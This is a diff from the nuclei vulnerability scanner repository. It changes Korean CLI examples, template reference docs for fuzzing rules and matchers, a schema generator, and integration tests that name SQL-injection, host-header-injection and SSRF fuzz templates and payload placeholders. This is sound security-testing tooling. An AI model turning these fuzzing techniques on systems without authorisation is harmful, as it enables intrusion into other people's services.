특정 템플릿 디렉토리로 nuclei 실행:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
호스트 목록에 대해 nuclei 실행:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
JSON 출력으로 nuclei 실행:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
정렬된 Markdown 출력으로 nuclei 실행 (환경 변수 사용):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
추가 문서는 여기에서 확인할 수 있습니다: https://docs.nuclei.sh/getting-started/running
|
||||
-sj, -stats-json JSONL(ines) 형식으로 출력 파일에 통계 데이터 쓰기
|
||||
-si, -stats-interval int 통계 업데이트를 표시할 때까지 대기하는 시간(초) (기본 5)
|
||||
-m, -metrics expose nuclei metrics on a port
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (기본 9092)
|
||||
```
|
||||
|
||||
### Nuclei 실행
|
||||
|
||||
@@ -379,7 +379,6 @@ Stop execution once first match is found
|
||||
<div class="dt">
|
||||
|
||||
Signature is the request signature method
|
||||
WARNING: 'signature' will be deprecated and will be removed in a future release. Prefer using 'code' protocol for writing cloud checks
|
||||
|
||||
|
||||
Valid values:
|
||||
@@ -1373,19 +1372,6 @@ Fuzzing describes schema to fuzz http requests
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>self-contained</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SelfContained specifies if the request is self-contained.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>signature</code> <i><a href="#signaturetypeholder">SignatureTypeHolder</a></i>
|
||||
|
||||
</div>
|
||||
@@ -1404,19 +1390,6 @@ Valid values:
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>skip-secret-file</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SkipSecretFile skips the authentication or authorization configured in the secret file.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>cookie-reuse</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
@@ -1431,19 +1404,6 @@ all requests defined in raw section.
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>disable-cookie</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
DisableCookie is an optional setting that disables cookie reuse
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>read-all</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
@@ -1625,32 +1585,6 @@ DisablePathAutomerge disables merging target url path with raw request path
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pre-condition</code> <i>[]<a href="#matchersmatcher">matchers.Matcher</a></i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Fuzz PreCondition is matcher-like field to check if fuzzing should be performed on this request or not
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pre-condition-operator</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
FuzzPreConditionOperator is the operator between multiple PreConditions for fuzzing Default is OR
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1813,50 +1747,13 @@ Valid values:
|
||||
|
||||
Part is the part of request to fuzz.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>query</code>
|
||||
|
||||
- <code>header</code>
|
||||
|
||||
- <code>path</code>
|
||||
|
||||
- <code>body</code>
|
||||
|
||||
- <code>cookie</code>
|
||||
|
||||
- <code>request</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>parts</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Parts is the list of parts to fuzz. If multiple parts need to be
|
||||
defined while excluding some, this should be used instead of singular part.
|
||||
query fuzzes the query part of url. More parts will be added later.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>query</code>
|
||||
|
||||
- <code>header</code>
|
||||
|
||||
- <code>path</code>
|
||||
|
||||
- <code>body</code>
|
||||
|
||||
- <code>cookie</code>
|
||||
|
||||
- <code>request</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -1962,52 +1859,31 @@ values:
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>fuzz</code> <i><a href="#sliceormapslice">SliceOrMapSlice</a></i>
|
||||
<code>fuzz</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
Fuzz is the list of payloads to perform substitutions with.
|
||||
examples:
|
||||
- name: Examples of fuzz
|
||||
value: >
|
||||
[]string{"{{ssrf}}", "{{interactsh-url}}", "example-value"}
|
||||
or
|
||||
x-header: 1
|
||||
x-header: 2
|
||||
Fuzz is the list of payloads to perform substitutions with.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Examples of fuzz
|
||||
fuzz:
|
||||
- '{{ssrf}}'
|
||||
- '{{interactsh-url}}'
|
||||
- example-value
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>replace-regex</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
replace-regex is regex for regex-replace rule type
|
||||
it is only required for replace-regex rule type
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## SliceOrMapSlice
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#fuzzrule">fuzz.Rule</a>.fuzz</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2026,459 +1902,6 @@ Appears in:
|
||||
|
||||
|
||||
|
||||
## matchers.Matcher
|
||||
Matcher is used to match a part in the output from a protocol.
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#httprequest">http.Request</a>.pre-condition</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>type</code> <i><a href="#matchertypeholder">MatcherTypeHolder</a></i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Type is the type of the matcher.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>condition</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Condition is the optional condition between two matcher variables. By default,
|
||||
the condition is assumed to be OR.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>and</code>
|
||||
|
||||
- <code>or</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>part</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Part is the part of the request response to match data from.
|
||||
|
||||
Each protocol exposes a lot of different parts which are well
|
||||
documented in docs for each request type.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
part: body
|
||||
```
|
||||
|
||||
```yaml
|
||||
part: raw
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>negative</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Negative specifies if the match should be reversed
|
||||
It will only match if the condition is not true.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>name</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Name of the matcher. Name should be lowercase and must not contain
|
||||
spaces or underscores (_).
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
name: cookie-matcher
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>status</code> <i>[]int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Status are the acceptable status codes for the response.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>size</code> <i>[]int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Size is the acceptable size for the response
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
size:
|
||||
- 3029
|
||||
- 2042
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>words</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Words contains word patterns required to be present in the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Match for Outlook mail protection domain
|
||||
words:
|
||||
- mail.protection.outlook.com
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Match for application/json in response headers
|
||||
words:
|
||||
- application/json
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>regex</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Regex contains Regular Expression patterns required to be present in the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Match for Linkerd Service via Regex
|
||||
regex:
|
||||
- (?mi)^Via\\s*?:.*?linkerd.*$
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Match for Open Redirect via Location header
|
||||
regex:
|
||||
- (?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)example\\.com.*$
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>binary</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Binary are the binary patterns required to be present in the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Match for Springboot Heapdump Actuator "JAVA PROFILE", "HPROF", "Gunzip magic byte"
|
||||
binary:
|
||||
- 4a4156412050524f46494c45
|
||||
- 4850524f46
|
||||
- 1f8b080000000000
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Match for 7zip files
|
||||
binary:
|
||||
- 377ABCAF271C
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>dsl</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.
|
||||
A list of these helper functions are available [here](https://nuclei.projectdiscovery.io/templating-guide/helper-functions/).
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# DSL Matcher for package.json file
|
||||
dsl:
|
||||
- contains(body, 'packages') && contains(tolower(all_headers), 'application/octet-stream') && status_code == 200
|
||||
```
|
||||
|
||||
```yaml
|
||||
# DSL Matcher for missing strict transport security header
|
||||
dsl:
|
||||
- '!contains(tolower(all_headers), ''''strict-transport-security'''')'
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>xpath</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
XPath are the xpath queries expressions that will be evaluated against the response part.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# XPath Matcher to check a title
|
||||
xpath:
|
||||
- /html/head/title[contains(text(), 'How to Find XPath')]
|
||||
```
|
||||
|
||||
```yaml
|
||||
# XPath Matcher for finding links with target="_blank"
|
||||
xpath:
|
||||
- //a[@target="_blank"]
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>encoding</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Encoding specifies the encoding for the words field if any.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>hex</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>case-insensitive</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
CaseInsensitive enables case-insensitive matches. Default is false.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>false</code>
|
||||
|
||||
- <code>true</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>match-all</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
MatchAll enables matching for all matcher values. Default is false.
|
||||
|
||||
|
||||
Valid values:
|
||||
|
||||
|
||||
- <code>false</code>
|
||||
|
||||
- <code>true</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>internal</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
Internal when true hides the matcher from output. Default is false.
|
||||
It is meant to be used in multiprotocol / flow templates to create internal matcher condition without printing it in output.
|
||||
or other similar use cases.
|
||||
values:
|
||||
- false
|
||||
- true
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## MatcherTypeHolder
|
||||
MatcherTypeHolder is used to hold internal type of the matcher
|
||||
|
||||
Appears in:
|
||||
|
||||
|
||||
- <code><a href="#matchersmatcher">matchers.Matcher</a>.type</code>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code></code> <i>MatcherType</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
|
||||
|
||||
|
||||
Enum Values:
|
||||
|
||||
|
||||
- <code>word</code>
|
||||
|
||||
- <code>regex</code>
|
||||
|
||||
- <code>binary</code>
|
||||
|
||||
- <code>status</code>
|
||||
|
||||
- <code>size</code>
|
||||
|
||||
- <code>dsl</code>
|
||||
|
||||
- <code>xpath</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## dns.Request
|
||||
Request contains a DNS protocol request to be made from a template
|
||||
|
||||
@@ -2692,30 +2115,6 @@ Payloads support both key-values combinations where a list
|
||||
of payloads is provided, or optionally a single file can also
|
||||
be provided as payload which will be read on run-time.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>threads</code> <i>int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Threads to use when sending iterating over payloads
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Send requests using 10 concurrent threads
|
||||
threads: 10
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -2800,8 +2199,6 @@ Enum Values:
|
||||
- <code>TLSA</code>
|
||||
|
||||
- <code>ANY</code>
|
||||
|
||||
- <code>SRV</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -3087,33 +2484,6 @@ Payloads support both key-values combinations where a list
|
||||
of payloads is provided, or optionally a single file can also
|
||||
be provided as payload which will be read on run-time.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>threads</code> <i>int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Threads specifies number of threads to use sending requests. This enables Connection Pooling.
|
||||
|
||||
Connection: Close attribute must not be used in request while using threads flag, otherwise
|
||||
pooling will fail and engine will continue to close connections after requests.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Send requests using 10 concurrent threads
|
||||
threads: 10
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -3522,19 +2892,6 @@ CookieReuse is an optional setting that enables cookie reuse
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>disable-cookie</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
DisableCookie is an optional setting that disables cookie reuse
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3870,53 +3227,6 @@ description: |
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>tls_version_enum</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
TLS Versions Enum - false if not specified
|
||||
Enumerates supported TLS versions
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>tls_cipher_enum</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
TLS Ciphers Enum - false if not specified
|
||||
Enumerates supported TLS ciphers
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>tls_cipher_types</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
TLS Cipher types to enumerate
|
||||
values:
|
||||
- "insecure" (default)
|
||||
- "weak"
|
||||
- "secure"
|
||||
- "all"
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4209,19 +3519,6 @@ Engine type
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pre-condition</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
PreCondition is a condition which is evaluated before sending the request.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>args</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -5,11 +5,10 @@ import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"os"
|
||||
"reflect"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/invopop/jsonschema"
|
||||
"github.com/alecthomas/jsonschema"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
)
|
||||
@@ -33,12 +32,10 @@ func main() {
|
||||
}
|
||||
|
||||
// Generate jsonschema
|
||||
r := &jsonschema.Reflector{}
|
||||
r.Namer = func(r reflect.Type) string {
|
||||
if r.Kind() == reflect.Slice {
|
||||
return ""
|
||||
}
|
||||
return r.String()
|
||||
r := &jsonschema.Reflector{
|
||||
PreferYAMLSchema: true,
|
||||
YAMLEmbeddedStructs: true,
|
||||
FullyQualifyTypeNames: true,
|
||||
}
|
||||
jsonschemaData := r.Reflect(&templates.Template{})
|
||||
|
||||
|
||||
@@ -23,7 +23,6 @@ var codeTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/code/py-nosig.yaml", TestCase: &codePyNoSig{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/py-interactsh.yaml", TestCase: &codeSnippet{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/ps1-snippet.yaml", TestCase: &codeSnippet{}, DisableOn: func() bool { return !osutils.IsWindows() || isCodeDisabled() }},
|
||||
{Path: "protocols/code/pre-condition.yaml", TestCase: &codePreCondition{}, DisableOn: isCodeDisabled},
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -88,34 +87,18 @@ type codeSnippet struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeSnippet) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type codePreCondition struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codePreCondition) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if osutils.IsLinux() {
|
||||
return expectResultsCount(results, 1)
|
||||
} else {
|
||||
return expectResultsCount(results, 0)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
type codeFile struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeFile) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -126,7 +109,7 @@ type codeEnvVar struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeEnvVar) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-V", "baz=baz", "-code")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-V", "baz=baz")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -137,7 +120,7 @@ type unsignedCode struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *unsignedCode) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
|
||||
// should error out
|
||||
if err != nil {
|
||||
@@ -152,7 +135,7 @@ type codePyNoSig struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codePyNoSig) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
|
||||
// should error out
|
||||
if err != nil {
|
||||
|
||||
@@ -5,12 +5,7 @@ import (
|
||||
)
|
||||
|
||||
var dnsTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/dns/a.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/aaaa.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/cname.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/srv.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/ns.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/txt.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/basic.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/ptr.yaml", TestCase: &dnsPtr{}},
|
||||
{Path: "protocols/dns/caa.yaml", TestCase: &dnsCAA{}},
|
||||
{Path: "protocols/dns/tlsa.yaml", TestCase: &dnsTLSA{}},
|
||||
|
||||
@@ -14,7 +14,6 @@ var flowTestcases = []TestCaseInfo{
|
||||
{Path: "flow/conditional-flow.yaml", TestCase: &conditionalFlow{}},
|
||||
{Path: "flow/conditional-flow-negative.yaml", TestCase: &conditionalFlowNegative{}},
|
||||
{Path: "flow/iterate-values-flow.yaml", TestCase: &iterateValuesFlow{}},
|
||||
{Path: "flow/iterate-one-value-flow.yaml", TestCase: &iterateOneValueFlow{}},
|
||||
{Path: "flow/dns-ns-probe.yaml", TestCase: &dnsNsProbe{}},
|
||||
{Path: "flow/flow-hide-matcher.yaml", TestCase: &flowHideMatcher{}},
|
||||
}
|
||||
@@ -68,16 +67,6 @@ func (t *iterateValuesFlow) Execute(filePath string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type iterateOneValueFlow struct{}
|
||||
|
||||
func (t *iterateOneValueFlow) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "https://scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
@@ -88,7 +77,7 @@ func (t *dnsNsProbe) Execute(filePath string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 2)
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
func getBase64(input string) string {
|
||||
|
||||
@@ -12,39 +12,13 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
const (
|
||||
targetFile = "fuzz/testData/ginandjuice.proxify.yaml"
|
||||
)
|
||||
|
||||
var fuzzingTestCases = []TestCaseInfo{
|
||||
{Path: "fuzz/fuzz-mode.yaml", TestCase: &fuzzModeOverride{}},
|
||||
{Path: "fuzz/fuzz-multi-mode.yaml", TestCase: &fuzzMultipleMode{}},
|
||||
{Path: "fuzz/fuzz-type.yaml", TestCase: &fuzzTypeOverride{}},
|
||||
{Path: "fuzz/fuzz-query.yaml", TestCase: &httpFuzzQuery{}},
|
||||
{Path: "fuzz/fuzz-headless.yaml", TestCase: &HeadlessFuzzingQuery{}},
|
||||
// for fuzzing we should prioritize adding test case related backend
|
||||
// logic in fuzz playground server instead of adding them here
|
||||
{Path: "fuzz/fuzz-query-num-replace.yaml", TestCase: &genericFuzzTestCase{expectedResults: 2}},
|
||||
{Path: "fuzz/fuzz-host-header-injection.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-path-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-cookie-error-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-json-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-multipart-form-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-params-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-xml-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-generic-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 4}},
|
||||
}
|
||||
|
||||
type genericFuzzTestCase struct {
|
||||
expectedResults int
|
||||
}
|
||||
|
||||
func (g *genericFuzzTestCase) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, "-t", filePath, "-l", targetFile, "-im", "yaml")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, g.expectedResults)
|
||||
{Path: "fuzz/fuzz-header-basic.yaml", TestCase: &FuzzHeaderBasic{}},
|
||||
{Path: "fuzz/fuzz-header-multiple.yaml", TestCase: &FuzzHeaderMultiple{}},
|
||||
}
|
||||
|
||||
type httpFuzzQuery struct{}
|
||||
@@ -60,7 +34,7 @@ func (h *httpFuzzQuery) Execute(filePath string) error {
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example", debug, "-fuzz")
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -79,7 +53,7 @@ func (h *fuzzModeOverride) Execute(filePath string) error {
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example&name=nuclei", debug, "-fuzzing-mode", "single", "-jsonl", "-fuzz")
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example&name=nuclei", debug, "-fuzzing-mode", "single", "-jsonl")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -124,7 +98,7 @@ func (h *fuzzTypeOverride) Execute(filePath string) error {
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
